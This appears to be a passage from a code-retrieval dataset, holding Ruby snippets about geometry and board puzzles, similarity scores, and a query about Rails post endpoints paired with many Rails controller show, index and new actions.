"def antidiagonal_starts\n result = []\n # Insert the antidiagonal starts along the bottom edge first, beginning on\n # the right side\n (1..size).each do |n|\n result.push MatrixPosition.new(size-1, size-n)\n end\n\n # Start at 2 since the last iterator covered (size-1, 0)\n (2..size).each do |n|\n result.push MatrixPosition.new(size-n, 0)\n end\n\n result\n end",
"def lazer_sweep(column_index, row_index)\n targets = asteroid_directions(column_index, row_index)\n coordinates = []\n until targets.empty?\n directions = targets.keys.sort\n directions.each do |direction|\n min_distance = targets[direction].min_by { |t| t[:distance] }\n targets[direction].delete(min_distance) # could just pop if sorted\n\n targets.delete(direction) if targets[direction].empty?\n\n coordinates << [column_index + min_distance[:x],\n row_index + min_distance[:y]]\n end\n end\n coordinates\n end",
"def moves\n diagonal_dirs\n end",
"def add_major_triad(low_note, velocity=127, duration='quarter')\n add_notes([0, 4, 7].collect { |x| x + low_note }, velocity, duration)\n end",
"def pascals_triangle(num)\n if num == 1\n return [[1]]\n elsif num == 2\n return [[1], [1,1]]\n end\n\n tri = [[1], [1,1]]\n\n until tri.length == num\n tri << lower_level(tri[-1])\n end\n tri\nend",
"def diagonals\n [\n [@board[0][0], @board[1][1], @board[2][2]],\n [@board[0][2], @board[1][1], @board[2][0]]\n ]\n end",
"def pascals_triangle(num)\n triangle = [[1]]\n while triangle.length < num\n level_above = triangle.last\n next_level = [1]\n next_level += adjacent_sums(level_above)\n next_level << 1\n triangle << next_level\n end\n triangle\nend",
"def pascals_triangle(n)\n triangle = []\n triangle << [1]\n while triangle.length < n\n next_level = []\n current_level = Array.new(triangle.last) # create copy of last row\n current_level.push(0)\n current_level.unshift(0)\n\n iterator = 0\n\n while iterator < current_level.length-1\n\n next_level << current_level[iterator..iterator+1].sum\n iterator += 1\n end\n\n triangle << next_level\n end\n triangle\nend",
"def adjacents(a)\n return a[3], a[1], a[4], a[6]\n end",
"def win_diagonal?(mark)\n ltr_diagonal = []\n rtl_diagonal = []\n @grid.each.with_index do |row,r|\n row.each.with_index do |col,c|\n if r == c \n ltr_diagonal << col\n end\n \n if (row.length - r - 1) == c\n rtl_diagonal << col\n end\n end\n end\n ltr = (ltr_diagonal.uniq.length == 1) && ltr_diagonal.include?(mark) \n rtl = (rtl_diagonal.uniq.length == 1) && rtl_diagonal.include?(mark)\n ltr || rtl\n\n end",
"def sum_of_interior_angles\n 180 * (@number_of_sides - 2)\n end",
"def squaragonal?(grid)\n diagnoal?(grid) || diagnoal?(grid.reverse)\nend",
"def transform line\n i = 1\n tortoise = line[i]\n hare = line[i * 2]\n while tortoise != hare\n i += 1\n tortoise = line[i]\n hare = line[i * 2]\n end\n v = i\n\n mu = 0\n tortoise = line[mu]\n hare = line[v * 2 + mu]\n while tortoise != hare\n mu += 1\n tortoise = line[mu]\n hare = line[v * 2 + mu]\n end\n\n lam = 1\n hare = line[mu + lam]\n while tortoise != hare\n lam += 1\n hare = line[mu + lam]\n end\n #puts \"v mu lam %d %d %d\" % [v, mu, lam]\n \n line[mu, lam] \nend",
"def diag_scode\n diag_code[0,3].rjust(3,'0') if diag_code.present?\n end",
"def pascals_triangle(num)\n triangle = [[1]]\n\n while triangle.length < num\n above = triangle.last\n next_level = [1]\n next_level += adjacent_sums(above)\n next_level << 1\n triangle << next_level\n end\n triangle\nend",
"def climb_stairs(n)\n return 1 if n == 1\n return 2 if n == 2\n phi = (Math.sqrt(5) + 1)/2\n inverse_phi = (Math.sqrt(5) - 1)/2\n \n return ((phi ** (n + 1) - (inverse_phi ** n))/Math.sqrt(5)).round\nend",
"def kochright\n v = start - finish\n v /= 3\n v + finish\n end",
"def gram_schmidt\n a = clone\n n = column_size\n m = row_size\n q = Matrix.new(m, n){0}\n r = Matrix.zero(n)\n for k in 0...n\n r[k,k] = a[0...m, k].norm\n q[0...m, k] = a[0...m, k] / r[k, k]\n for j in (k+1)...n\n r[k, j] = q[0...m, k].t * a[0...m, j]\n a[0...m, j] -= q[0...m, k] * r[k, j]\n end\n end\n return q, r\n end",
"def clutchPedal t\n clutch=0\n @clutch.each_with_index {|c,i| clutch+=c*(t**i)}\n if clutch<0\n 0\n elsif clutch<=1\n clutch\n else\n 1\n end\n end",
"def first_quadrant?(angle)\n\t\t0 < angle && angle < 90\n\tend",
"def sum_diagonals(width)\r\n\t# Start on 1 so sum = 1\r\n\tsum = 1\r\n\tcounter = 1\r\n\t# Iterate through number of layers of spiral\r\n\t(2...width).step(2).each do |x|\r\n\t\t# Sum diagonals for each side\r\n\t\t4.times do\r\n\t\t\tcounter += x\r\n\t\t\tsum += counter\r\n\t\tend\r\n\tend\r\n\tputs sum\r\nend",
"def debuterHypothese\n\t\t0.upto(@n-1) do|x| \n\t\t\t0.upto(@n-1) {|y| \n\t\t\t\t@hypothese[x][y] = @plateauJoueur[x][y].couleur\n\t\t\t}\n\t\tend\n\tend",
"def corner(corner_index)\n end",
"def sgf_board_position tree\n x = ('a'.ord + tree['x']).chr\n y = ('a'.ord + tree['y']).chr\n \"#{x}#{y}\"\n end",
"def nxt_triangle_number\n @index += 1\n @t_num += @index\n divisor_count = count_divisors(@t_num)\n compare_to_last_max(divisor_count)\n puts(self.to_s + '::' + @index.to_s) if @index % 100 == 0\n end",
"def rotation_point(arr)\n left = 0\n mid = arr.length / 2\n right = -1\n\n if arr[left].split('')[0] < arr[mid].split('')[0]\n left = mid\n else\n right = mid\n end\n\nend",
"def distance_sc(array)\n orientation = 'N'\n position = [0, 0]\n loc_history = loc_history(orientation, position, array)\n first_intersection = find_first_intersection(loc_history)\n\n if first_intersection.empty?\n puts 'This path has no intersections.'\n else\n print 'Distance to first intersection: '\n p dis_comb(first_intersection.keys[0])\n end\nend",
"def pascal(array)\n\td = [1]\n\n\tarray.each_index do |i| \n\t\tif i > 0\n\t\t\td.push(array[i] + array[i-1])\n\t\tend\n\tend\n\treturn d.push(1)\nend",
"def delta_right_mid\n\t\t# cl is the current location\n\t\t[right_mid, @map.grid[cl] - @map.grid[ right_mid ]]\n\tend",
"def in_ascending_diagonal?\n if @board.each_with_index.map {|row, index| row[4-index]} == @key\n true\n else\n false\n end\n end"
] | [
"0.6145774",
"0.58531636",
"0.5806371",
"0.5691763",
"0.5691763",
"0.5634798",
"0.5599382",
"0.5560795",
"0.5483722",
"0.54503834",
"0.54503834",
"0.5425558",
"0.53946936",
"0.5360479",
"0.5339953",
"0.53314114",
"0.5301746",
"0.529586",
"0.5287546",
"0.5267568",
"0.5214638",
"0.52070653",
"0.51642805",
"0.51605695",
"0.51542306",
"0.51385576",
"0.5136552",
"0.513613",
"0.511854",
"0.51068926",
"0.5058271",
"0.50549006",
"0.50493395",
"0.5048871",
"0.50380427",
"0.50363386",
"0.5022419",
"0.5009096",
"0.5008083",
"0.5001166",
"0.49999434",
"0.49943665",
"0.4988801",
"0.49789804",
"0.4976735",
"0.4972311",
"0.49676126",
"0.49636072",
"0.49525443",
"0.49503562",
"0.49436122",
"0.4941657",
"0.49242795",
"0.49207452",
"0.4917605",
"0.49151525",
"0.491504",
"0.4908039",
"0.48906106",
"0.4887696",
"0.48828366",
"0.48790753",
"0.48762023",
"0.4860836",
"0.48518482",
"0.48407418",
"0.48377588",
"0.48251528",
"0.48244208",
"0.48216507",
"0.48116356",
"0.48094967",
"0.4808822",
"0.48083165",
"0.4802547",
"0.4802099",
"0.4800164",
"0.47999853",
"0.47956887",
"0.47942048",
"0.4787733",
"0.4787651",
"0.47797698",
"0.4761996",
"0.47604927",
"0.47562268",
"0.47549137",
"0.47521794",
"0.47448882",
"0.4740779",
"0.4738867",
"0.47385883",
"0.47348383",
"0.473361",
"0.4729751",
"0.4727773",
"0.4725827",
"0.47245014",
"0.47239035",
"0.47221178",
"0.4718341"
] | 0.0 | -1 |
GET /posts/1 GET /posts/1.json | def show
@post = Post.find(params[:id])
@comment = Comment.new
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @posts = Post.find(params[:id])\n render json: @posts\n end",
"def show\n render json: Post.find(params[\"id\"])\n end",
"def show\r\n post = Post.find(params[:id])\r\n render json: post\r\n end",
"def show\n @post = Post.find(params[:id])\n\n render json: @post\n end",
"def show\n \trender json: Post.find(params[:id])\n end",
"def show\n post = Post.find(params[:id])\n render json: post\n end",
"def show\n\t \trender json: Post.find(params[:id])\n\t end",
"def show\n @post = Post.where(:id => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n\n @posts = Post.all\n\n render json: @posts, status: 200\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n render json: @post\n end",
"def index\n @posts = Post.all\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {render json: @posts}\n end\n end",
"def index\n\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def show\n \n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n render json: { posts: Post.all }\n end",
"def show\n @post ||= Mist::Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n @posts = Post.order(\"created_at DESC\").includes(:user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n # when you go to http://localhost:3000/posts/1, rails interprets this\n # as a call to the show action for the resource and passes 1 to the \n # :id paramater. Using this blog app you can do that by clicking the \n # show link for a post on the index page.\n\n @post = Post.find(params[:id])\n # The show action uses Post.find to search for a single record \n # in the database by its id value. After finding the record, Rails \n # displays it by using app/views/posts/show.html.erb\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n post = Post.find_by(id: params[:id])\n if post \n render json: post\n else\n render json: {errors: 'Not found'}\n end\n end",
"def index\n render json: Post.all\n end",
"def index\n @posts = Mist::Post.recently_published(20, Mist.authorized?(:view_drafts, self))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def index\n @posts = Post.all.order(created_at: :asc)\n json_response(@posts)\n end",
"def index\n @posts = Post.all\n \n render json: @posts\n end",
"def show\n @post = Post.find(params[:id])\n \n respond_to do |format|\n format.html { render 'application/index' }\n format.json { render :json => { :post => @post.as_json } }\n end\n end",
"def show\n render json: @post, serializer: Api::V1::PostSerializer\n end",
"def show\r\n @post = root_post_of(Post.find(params[:id]))\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @post }\r\n end\r\n end",
"def show\n render json: @post\n end",
"def show\n @api_v2_post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_v2_post }\n end\n end",
"def show\n render json: @post\n end",
"def index\n @posts = Post.paginate(:page => params[:page], :per_page => 10).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.atom\n end\n end",
"def index\n render json: Post.all.order(id: :desc), each_serializer: V1::Posts::PostSerializer\n end",
"def show\n render :json => @post\n end",
"def index\n # @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @posts }\n end\n end",
"def index\n @api_v1_posts = Api::V1::Post.all\n end",
"def show\n @post = Post.find(params[:id])\n render json: @post, meta: { status: :ok }, meta_key: 'result'\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render jsonapi: @post }\n end\n end",
"def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"def show\n @post = PostsService.getPostById(params[:id])\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @post }\n format.xml { render xml: @posts }\n end\n end",
"def index\n #@posts = Post.all\n @posts = Post.paginate( :page => params[:page],\n :per_page => 2\n )\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n # Post.all returns all of the posts currently in the \n # database as an array of Post records that we store \n # in an instance variable called @posts.\n # http://guides.rubyonrails.org/active_record_querying.html\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n # The respond_to block handles both HTML and JSON calls \n # to this action. If you browse to \n # http://localhost:3000/posts.json, you’ll see a JSON \n # containing all of the posts. \n end",
"def index\n\n # We display the posts be cronological inverted order\n if authenticated?\n @posts = Post.order('created_at DESC').page(params[:page])\n else\n @posts = Post.order('created_at DESC').where(:status => :true).page(params[:page])\n end\n \n respond_to do |format|\n format.html { render html: @posts }\n format.json { render json: @posts }\n end\n end",
"def show\n @user = User.find(params[:id])\n @posts = @user.posts\n\n respond_to do |format|\n format.json { render json: {user: User._build(@user), posts: Post.build_posts(@posts)}, location: root_path }\n end\n end",
"def index\n\t\tgon.posts = Post.all.as_json\n\tend",
"def index\n @posts = Post.order(\"created_at DESC\").where(:published => true).limit(5)\n @title = \"Home\"\n @description = \"the blog and website of bassist and programmer Johnny Grubb. no baseball information here.\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml\n end\n end",
"def display_posts\n begin\n response = RestClient.get \"#{@@DOMAIN}/api/posts.json?all\", authorization_hash\n\n puts \"Response code: #{response.code}\"\n puts \"Response cookies:\\n #{response.cookies}\\n\\n\"\n puts \"Response headers:\\n #{response.headers}\\n\\n\"\n puts \"Response content:\\n #{response.to_str}\"\n\n js = JSON response.body\n js.each do |item_hash|\n item_hash.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def show\n #@post = Post.find(params[:id])\n\n #respond_to do |format|\n # format.html # show.html.erb\n #format.json { render json: @post }\n #end\n end",
"def index\n @posts = Post.all\n @posts = paginate(@posts)\n authorize @posts\n\n render json: @posts, each_serializer: Api::V1::PostSerializer, meta: meta_attributes(@posts)\n end",
"def index\n @posts = Post.find(:all)\n end",
"def show\n @post = current_user.posts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n render json: { posts: current_user.posts.all.map(&:to_h) }\n end",
"def show\n @feed = Feed.find(params[:id])\n @posts = @feed.posts.order(\"published desc\").paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end",
"def index\n\t@posts = list_posts\n end",
"def show\n #GET a single post by ID\n @post = Post.find(params[:id])\n end",
"def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"def show\n @post = Post.find(params[:id])\n @title = @post.title\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n # TODO: implement listing all posts\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml { render xml: @posts }\n end\n end",
"def show\n @blogpost = Blogpost.published.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blogpost }\n end\n end",
"def show\n # @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @post }\n end\n end",
"def post(postid)\n request(:id => postid).posts.first\n end",
"def show\n Rails.logger.debug(\"Inside show \")\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @posto = Posto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @posto }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @post }\n format.json do\n render :json => @post.to_json(:only => [:id, :title, :text, :lat, :lng, :created_at, :post_type, :likes], \n :methods => [:image_url, :video_url], \n :include => [:comments])\n end\n end\n end",
"def display_post\n begin\n # asks the user for the post id\n print \"Enter the post ID: \"\n id = STDIN.gets.chomp\n response = RestClient.get \"#{@@DOMAIN}/api/posts/#{id}.json\", authorization_hash\n\n js = JSON response.body\n js.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def index\n @posts = Post.all.reverse\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = PostService.getAllPosts\n end",
"def show\n render json: {\n data: @post\n }\n end",
"def show\n @post = Post.find(params[:id])\n @videos = Video.get_for @post #where([\"post_id = ?\", params[:id]]).all\n @background = get_background_for @post #Background::DEFAULT #Background.where([\"post_id = ?\", params[:id]])\n @nav = get_navigation :for => 'post', :current => @post\n @menu = get_menu :for => 'post'\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n @posts = Post.order(created_at: :desc)\n respond_to do |format|\n format.html { render }\n format.text { render }\n format.xml { render xml: @posts }\n format.json { render json: @posts.to_json }\n end\n end",
"def get(options = {})\n response= handle_errors { self.class.get('/get', :query => options)}\n if response[\"posts\"][\"post\"].is_a?(Hash)\n Rubycious::Post.new response[\"posts\"][\"post\"]\n elsif response[\"posts\"][\"post\"].is_a?(Array)\n response[\"posts\"][\"post\"].collect{|i| Rubycious::Post.new(i)}\n else\n nil\n end\n end",
"def show\n if !params[:id]\n @post = Post.find_by_title('Welcome')\n elsif params[:id] =~ /^[a-zA-Z ]+$/\n @post = Post.find_by_title(params[:id])\n else\n @post = Post.find(params[:id].to_i)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @blogpost = Blogpost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blogpost }\n end\n end",
"def show\n @blog_post = BlogPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blog_post }\n end\n end",
"def index\n @post = Post.find_by_id(params[:post_id])\n if @post.nil?\n return render json: { error: \"Post not found\" }, status: :not_found\n end\n render json: @post.comments,status: 200\n end",
"def show\n @post2 = Post2.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post2 }\n end\n end"
] | [
"0.77110183",
"0.73537844",
"0.73433185",
"0.73379177",
"0.73228735",
"0.7293139",
"0.7275997",
"0.7256934",
"0.7161576",
"0.7158913",
"0.71552676",
"0.71552676",
"0.7119547",
"0.7094749",
"0.7094749",
"0.7094749",
"0.70943594",
"0.7071599",
"0.70607626",
"0.70452625",
"0.7032558",
"0.7020259",
"0.7020259",
"0.7020259",
"0.7020259",
"0.7020259",
"0.7020259",
"0.7020259",
"0.7020259",
"0.7020259",
"0.7020259",
"0.7020259",
"0.7020259",
"0.7020259",
"0.7020259",
"0.69897074",
"0.6955722",
"0.6955722",
"0.6954564",
"0.6937062",
"0.6936725",
"0.69257236",
"0.6917876",
"0.69010335",
"0.69005007",
"0.6894985",
"0.6893989",
"0.68756175",
"0.6860515",
"0.6853294",
"0.6853291",
"0.6847577",
"0.68364173",
"0.68232405",
"0.68093437",
"0.6804144",
"0.67621773",
"0.6743674",
"0.67226875",
"0.6720067",
"0.67147297",
"0.6713107",
"0.6699554",
"0.6693189",
"0.6679935",
"0.6655543",
"0.6644503",
"0.6641595",
"0.66299",
"0.6619761",
"0.66178924",
"0.66124725",
"0.6608166",
"0.66017526",
"0.6597235",
"0.65952027",
"0.65909946",
"0.65858185",
"0.6582703",
"0.658145",
"0.65768254",
"0.65733755",
"0.6568626",
"0.65668",
"0.655592",
"0.65385455",
"0.6525845",
"0.65144473",
"0.6513119",
"0.6497587",
"0.6497312",
"0.6493223",
"0.6491053",
"0.64720887",
"0.6471776",
"0.64655757",
"0.6455566",
"0.64530945",
"0.6448596",
"0.64456475",
"0.64289075"
] | 0.0 | -1 |
GET /posts/new GET /posts/new.json | def new
@post = Post.new
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def new\n \n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @post }\n end\n end",
"def new\n @post = Post.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n post = Post.new\n render json: post\n end",
"def new\n authenticated\n\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new \n @post = Post.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\r\n @post = Post.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @post }\r\n end\r\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n @title = \"New post\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @post }\n end\n end",
"def new\n @post = Post.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @title = \"Create New Post\"\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @post }\n end\n end",
"def new\n @post = Post.new\n # Creating a new post involves two actions. \n # The first is the new action, which \n # instantiates an empty Post object\n # The new.html.erb view displays this \n # empty Post to the user\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n format.xml { render :xml => @post }\n end\n end",
"def new\n # responsbile for creating a new instance of a post\n @post = Post.new\n end",
"def new\n redirect_to posts_path and return unless Mist.authorized?(:create_post, self)\n @post = Mist::Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @post }\n end\n end",
"def new\n authorize\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n # @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n # format.json { render json: @post }\n end\n end",
"def new\n @post = model.new\n\n respond_to do |format|\n format.html { render :action => resource_template(\"new\") }\n end\n end",
"def new\n @post = Post.new\n @title = \"New Post\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n format.json { render :json => @post }\n end\n end",
"def new\n @user = User.find(params[:user_id])\n @post = Post.new(:user_id => @user.id)\n @title = \"New Post\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @news_post = NewsPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_post }\n end\n end",
"def new\n @news_post = NewsPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @news_post }\n end\n end",
"def new\n @posto = Posto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @posto }\n end\n end",
"def new #http://localhost:3000/posts/new\n\t@post = Post.new #creates a new empty post,if a form is created for it, it will be empty as well \n end",
"def new\n @mypost = Mypost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mypost }\n end\n end",
"def new\n #@post = Post.new\n\n #respond_to do |format|\n # format.html # new.html.erb\n #format.json { render json: @post }\n #end\n end",
"def new\n @newspost = Newspost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspost }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @news_post }\n end\n end",
"def new\n @posttag = Posttag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @posttag }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html #{ redirect_to '/' }\n format.json { render json: @post }\n end\n end",
